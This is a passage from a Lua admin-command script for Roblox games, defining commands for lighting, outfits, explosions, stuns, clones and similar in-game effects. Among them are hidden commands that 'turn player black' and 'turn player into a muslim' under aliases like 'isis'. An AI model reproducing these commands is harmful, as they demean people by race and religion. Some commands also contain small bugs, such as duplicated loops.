6981 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
6982 end
6983 end
6984 end};
6985
6986 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
6987 local Players = STRING:Scan(Arguments[1], Speaker)
6988 for _,Player in pairs(Players) do
6989 if Player.Character and Player.Character:FindFirstChild("Torso") then
6990 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
6991 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
6992 end
6993 end
6994 end};
6995
6996 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
6997 local Players = STRING:Scan(Arguments[1], Speaker)
6998 for _,Player in pairs(Players) do
6999 if Player.Character and Player.Character:FindFirstChild("Torso") then
7000 local Lights = {}
7001 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7002 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7003 table.insert(Lights, Obj)
7004 end
7005 end
7006 for _,Light in pairs(Lights) do
7007 coroutine.wrap(function()
7008 for i = 1,20 do
7009 Light.Brightness = Light.Brightness/5
7010 wait()
7011 end
7012 Light:Destroy()
7013 end)()
7014 end
7015 end
7016 end
7017 end};
7018
7019 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7020 local Players = STRING:Scan(Arguments[1], Speaker)
7021 for _,Player in pairs(Players) do
7022 if Player.Character and Player:FindFirstChild("PlayerGui") then
7023 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7024 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7025 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7026 local Stop = false
7027 coroutine.wrap(function()
7028 repeat
7029 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7030 wait(0.1)
7031 until not SG or not SG.Parent
7032 end)()
7033 CORE:ExecuteResource("Drug", Player.Character)
7034 end
7035 end
7036 end};
7037
7038 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7039 local Players = STRING:Scan(Arguments[1], Speaker)
7040 for _,Player in pairs(Players) do
7041 if Player:FindFirstChild("PlayerGui") then
7042 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7043 wait() CORE:RestoreCamera(Player)
7044 end
7045 end
7046 end};
7047
7048 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7049 local AbuseMode = false
7050 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7051 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7052 if Speaker:FindFirstChild("Backpack") then
7053 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7054 end
7055 end)
7056 end, Http = true};
7057
7058 [{"searchh", "searchhat"}] = {"string", "Searches the catalog for the hat string)", 1, "Member", false, function(Speaker, Rank, Arguments)
7059 MARKET:ShowSearch(Speaker, 3, Arguments[1], function(ID)
7060 if Speaker.Character then
7061 CORE:Insert(ID, Speaker.Character, true, {"Hat"})
7062 end
7063 end, 9)
7064 end, Http = true};
7065
7066 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7067 MARKET:ShowSearch(Speaker, 4, Arguments[1], function(ID)
7068 if Speaker.Character then
7069 CORE:GivePackage(Speaker, ID)
7070 end
7071 end, 11)
7072 end, Http = true};
7073
7074 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7075 local Players = STRING:Scan(Arguments[1], Speaker)
7076 for _,Player in pairs(Players) do
7077 CORE:GivePackage(Player)
7078 end
7079 end};
7080
7081 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID), a few packages don't need http service because they're in the cache, but most do", 2, "Member", false, function(Speaker, Rank, Arguments)
7082 local Players = STRING:Scan(Arguments[1], Speaker)
7083 for _,Player in pairs(Players) do
7084 CORE:GivePackage(Player, Arguments[2])
7085 end
7086 end, Http = true};
7087
7088 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7089 local Players = STRING:Scan(Arguments[1], Speaker)
7090 for _,Player in pairs(Players) do
7091 local Stats = Player:FindFirstChild("leaderstats")
7092 if Stats ~= nil then
7093 for _,Stat in pairs(Stats:GetChildren()) do
7094 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7095 ypcall(function() Stat.Value = Arguments[3] end)
7096 end
7097 end
7098 end
7099 end
7100 end};
7101
7102 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7103 local ID = tonumber(Arguments[2])
7104 local Players = STRING:Scan(Arguments[1], Speaker)
7105 for _,Player in pairs(Players) do
7106 for _,Player in pairs(Players) do
7107 if Player.Character ~= nil then
7108 local Obj = Player.Character:FindFirstChild("Shirt")
7109 if Obj then
7110 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7111 else
7112 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7113 end
7114 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7115 end
7116 end
7117 end
7118 end};
7119
7120 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7121 local ID = tonumber(Arguments[2])
7122 local Players = STRING:Scan(Arguments[1], Speaker)
7123 for _,Player in pairs(Players) do
7124 for _,Player in pairs(Players) do
7125 if Player.Character ~= nil then
7126 local Obj = Player.Character:FindFirstChild("Pants")
7127 if Obj then
7128 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7129 else
7130 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7131 end
7132 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7133 end
7134 end
7135 end
7136 end};
7137
7138 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7139 local ID = tonumber(Arguments[2])
7140 local Players = STRING:Scan(Arguments[1], Speaker)
7141 for _,Player in pairs(Players) do
7142 for _,Player in pairs(Players) do
7143 if Player.Character ~= nil then
7144 if Player.Character:FindFirstChild("Torso") then
7145 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7146 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7147 if Obj1 then
7148 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7149 else
7150 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7151 end
7152 if Obj2 then
7153 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7154 else
7155 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7156 end
7157 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7158 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7159 end
7160 end
7161 end
7162 end
7163 end};
7164
7165 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7166 local Players = STRING:Scan(Arguments[1], Speaker)
7167 for _,Player in pairs(Players) do
7168 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7169 end
7170 end};
7171
7172 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7173 if CORE:InAdminGroup(Speaker) then
7174 local Players = STRING:Scan(Arguments[1], Speaker)
7175 for _,Player in pairs(Players) do
7176 if Player:FindFirstChild("Backpack") then
7177 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7178 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7179 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7180 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7181 CORE:ExecuteResource("CookieTool", Tool)
7182 end
7183 end
7184 end
7185 end};
7186
7187 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7188 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7189 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7190 end
7191 end};
7192
7193 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7194 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7195 local Model = CORE:Insert(tonumber(Arguments[1]), game:GetService("ReplicatedStorage"))
7196 Model:MakeJoints()
7197 for i = 1,math.random(10,20) do
7198 Model.Name = Model.Name..string.char(math.random(97,122))
7199 end
7200 if Model:GetChildren()[1] then
7201 table.insert(Objects, Model)
7202 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7203 end
7204 end
7205 end};
7206
7207 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7208 local ID = tonumber(Arguments[2])
7209 local Players = STRING:Scan(Arguments[1], Speaker)
7210 for _,Player in pairs(Players) do
7211 if Player.Character then
7212 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7213 end
7214 end
7215 end};
7216
7217 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7218 local Players = STRING:Scan(Arguments[1], Speaker)
7219 for _,Player in pairs(Players) do
7220 if Player.Character then
7221 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7222 if StopAnim then StopAnim:Destroy() end
7223 end
7224 end
7225 end};
7226
7227 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7228 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7229 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7230 end
7231 end};
7232
7233 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7234 if tonumber(Arguments[1]) then
7235 Server.Lighting.Brightness = tonumber(Arguments[1])
7236 end
7237 end};
7238
7239 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7240 local Players = STRING:Scan(Arguments[1], Speaker)
7241 for _,Player in pairs(Players) do
7242 GUI:CoreGui(Player, "PlayerList", true)
7243 end
7244 end};
7245
7246 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7247 local Players = STRING:Scan(Arguments[1], Speaker)
7248 for _,Player in pairs(Players) do
7249 local Players = STRING:Scan(Arguments[1], Speaker)
7250 GUI:CoreGui(Player, "PlayerList", false)
7251 end
7252 end};
7253
7254 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7255 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7256 end, Hidden = true};
7257
7258 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7259 local Players = STRING:Scan(Arguments[1], Speaker)
7260 for _,Player in pairs(Players) do
7261 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7262 end
7263 end, Hidden = true};
7264
7265 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7266 local Players = STRING:Scan(Arguments[1], Speaker)
7267 for _,Player in pairs(Players) do
7268 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7269 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7270 Player:ClearCharacterAppearance()
7271 CORE:Insert(12436480, Player.Character, true)
7272 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7273 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7274 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7275 end
7276 end
7277 end, Hidden = true};
7278
7279 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7280 local Players = STRING:Scan(Arguments[1], Speaker)
7281 for _,Player in pairs(Players) do
7282 CORE:ChangeCharacter(Player, 0, false, Speaker)
7283 end
7284 end};
7285
7286 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7287 local Bet = Arguments[1]
7288 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7289 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7290 elseif #Bet > 5 then
7291 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7292 else
7293 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7294 if Answer == "Yes" then
7295 local OldBet = Settings.Bet
7296 CORE:ChangeBet(Bet)
7297 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7298 end
7299 end
7300 end};
7301
7302 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7303 local Prefix = Arguments[1]
7304 if #Prefix > 5 then
7305 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7306 else
7307 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7308 if Answer == "Yes" then
7309 local OldPrefix = Settings.Prefix
7310 Settings.Prefix = Prefix
7311 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7312 end
7313 end
7314 end};
7315
7316 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7317 GUI:CommandBar(Speaker)
7318 end};
7319
7320 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7321 GUI:CommandBar(Speaker)
7322 PermCommandBars[Speaker.Name] = true
7323 end};
7324
7325 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7326 PermCommandBars[Speaker.Name] = nil
7327 end};
7328
7329 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7330 local Players = STRING:Scan(Arguments[1], Speaker)
7331 for _,Player in pairs(Players) do
7332 PermCommandBars[Player.Name] = nil
7333 end
7334 end};
7335
7336 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7337 CORE:CreateFigure("Dummy", nil, true, Speaker)
7338 end};
7339
7340 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7341 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7342 end};
7343
7344 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7345 local Players = STRING:Scan(Arguments[1], Speaker)
7346 for _,Player in pairs(Players) do
7347 CORE:ClonePlayer(Player)
7348 end
7349 end};
7350
7351 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7352 local Players = STRING:Scan(Arguments[1], Speaker)
7353 for _,Player in pairs(Players) do
7354 CORE:ClonePlayer(Player, Arguments[2])
7355 end
7356 end};
7357
7358 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7359 for _,Obj in pairs(Objects) do
7360 if Obj then Obj:Destroy() end
7361 end
7362 for Name,Jail in pairs(Jails) do
7363 if not game.Players:FindFirstChild(Name) then
7364 Jail:Destroy()
7365 Jails[Name] = nil
7366 end
7367 end
7368 Objects = {}
7369 end};
7370
7371 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7372 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7373 if Obj:IsA("Hat") or Obj:IsA("Tool") then
7374 Obj:Destroy()
7375 end
7376 end
7377 end};
7378
7379 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7380 local Players = STRING:Scan(Arguments[1], Speaker)
7381 for _,Player in pairs(Players) do
7382 if Player.Character and Player.Character:FindFirstChild("Torso") then
7383 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7384 end
7385 end
7386 end};
7387
7388 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7389 local Players = STRING:Scan(Arguments[1], Speaker)
7390 for _,Player in pairs(Players) do
7391 if Player.Character and Player.Character:FindFirstChild("Torso") then
7392 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7393 end
7394 end
7395 end};
7396
7397 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7398 local Players = STRING:Scan(Arguments[1], Speaker)
7399 for _,Player in pairs(Players) do
7400 if Player.Character and Player.Character:FindFirstChild("Torso") then
7401 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7402 end
7403 end
7404 end};
7405
7406 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7407 local Players = STRING:Scan(Arguments[1], Speaker)
7408 for _,Player in pairs(Players) do
7409 if Player.Character and Player.Character:FindFirstChild("Torso") then
7410 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7411 if Get:IsA("Sparkles") then
7412 Get:Destroy()
7413 end
7414 end
7415 end
7416 end
7417 end};
7418
7419 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7420 local Players = STRING:Scan(Arguments[1], Speaker)
7421 for _,Player in pairs(Players) do
7422 if Player.Character and Player.Character:FindFirstChild("Torso") then
7423 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7424 if Get:IsA("Fire") then
7425 Get:Destroy()
7426 end
7427 end
7428 end
7429 end
7430 end};
7431
7432 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7433 local Players = STRING:Scan(Arguments[1], Speaker)
7434 for _,Player in pairs(Players) do
7435 if Player.Character and Player.Character:FindFirstChild("Torso") then
7436 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7437 if Get:IsA("Smoke") then
7438 Get:Destroy()
7439 end
7440 end
7441 end
7442 end
7443 end};
7444
7445 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7446 local Players = STRING:Scan(Arguments[1], Speaker)
7447 for _,Player in pairs(Players) do
7448 if Player.Character and Player.Character:FindFirstChild("Torso") then
7449 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7450 local Boom = Instance.new("Explosion", Workspace)
7451 Boom.Position = Player.Character.Torso.Position
7452 end
7453 end
7454 end};
7455
7456 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7457 local Players = STRING:Scan(Arguments[1], Speaker)
7458 for _,Player in pairs(Players) do
7459 if Player.Character and Player.Character:FindFirstChild("Torso") then
7460 coroutine.wrap(function() for i = 1,50 do
7461 local Boom = Instance.new("Explosion", Workspace)
7462 Boom.Position = Player.Character.Torso.Position
7463 wait()
7464 end end)()
7465 coroutine.wrap(function() for i = 1,5 do
7466 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7467 end end)()
7468 end
7469 end
7470 end};
7471
7472 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7473 local Players = STRING:Scan(Arguments[1], Speaker)
7474 for _,Player in pairs(Players) do
7475 if Player.Character and Player.Character:FindFirstChild("Torso") then
7476 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7477 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7478 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7479 end
7480 end
7481 end};
7482
7483 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7484 local Players = STRING:Scan(Arguments[1], Speaker)
7485 for _,Player in pairs(Players) do
7486 if Player.Character and Player.Character:FindFirstChild("Torso") then
7487 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7488 end
7489 end
7490 end};
7491
7492 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7493 local Players = STRING:Scan(Arguments[1], Speaker)
7494 for _,Player in pairs(Players) do
7495 if Player.Character then
7496 Player.Character.Parent = Server.Lighting
7497 end
7498 end
7499 end};
7500
7501 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7502 local Players = STRING:Scan(Arguments[1], Speaker)
7503 for _,Player in pairs(Players) do
7504 if Player.Character then
7505 Player.Character.Parent = Server.Workspace
7506 Player.Character:MakeJoints()
7507 end
7508 end
7509 end};
7510
7511 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7512 local Players = STRING:Scan(Arguments[1], Speaker)
7513 for _,Player in pairs(Players) do
7514 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7515 Player.Character.Humanoid.PlatformStand = true
7516 end
7517 end
7518 end};
7519
7520 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7521 local Players = STRING:Scan(Arguments[1], Speaker)
7522 for _,Player in pairs(Players) do
7523 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7524 Player.Character.Humanoid.PlatformStand = false
7525 end
7526 end
7527 end};
7528
7529 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7530 local Players = STRING:Scan(Arguments[1], Speaker)
7531 for _,Player in pairs(Players) do
7532 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7533 Player.Character.Humanoid.Jump = true
7534 end
7535 end
7536 end};
7537
7538 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7539 local Players = STRING:Scan(Arguments[1], Speaker)
7540 for _,Player in pairs(Players) do
7541 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7542 Player.Character.Humanoid.Sit = true
7543 end
7544 end
7545 end};
7546
7547 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7548 local Players = STRING:Scan(Arguments[1], Speaker)
7549 for _,Player in pairs(Players) do
7550 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7551 Player.Character.Humanoid.Sit = false
7552 end
7553 end
7554 end};
7555
7556 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7557 local Players = STRING:Scan(Arguments[1], Speaker)
7558 for _,Player in pairs(Players) do
7559 if Player.Character and Player.Character:FindFirstChild("Torso") then
7560 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7561 end
7562 end
7563 end};
7564
7565 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7566 local Players = STRING:Scan(Arguments[1], Speaker)
7567 for _,Player in pairs(Players) do
7568 if Player.Character and Player.Character:FindFirstChild("Torso") then
7569 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7570 end
7571 end
7572 end};
7573
7574 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7575 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7576 end};
7577
7578 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7579 local Color = "Blue"
7580 local String = Arguments[2]
7581 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7582 if #ChatSplit >= 2 then
7583 if string.lower(ChatSplit[1]) == "green" then
7584 Color = "Green"
7585 String = ChatSplit[2]
7586 elseif string.lower(ChatSplit[1]) == "red" then
7587 Color = "Red"
7588 String = ChatSplit[2]
7589 end
7590 end
7591 local Players = STRING:Scan(Arguments[1], Speaker)
7592 for _,Player in pairs(Players) do
7593 if Player.Character and Player.Character:FindFirstChild("Head") then
7594 game:GetService("Chat"):Chat(Player.Character.Head, String, Color)
7595 end
7596 end
7597 end};
7598
7599 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7600 local Players = STRING:Scan(Arguments[1], Speaker)
7601 for _,Player in pairs(Players) do
7602 if Player.Character then
7603 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7604 end
7605 end
7606 end};
7607
7608 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
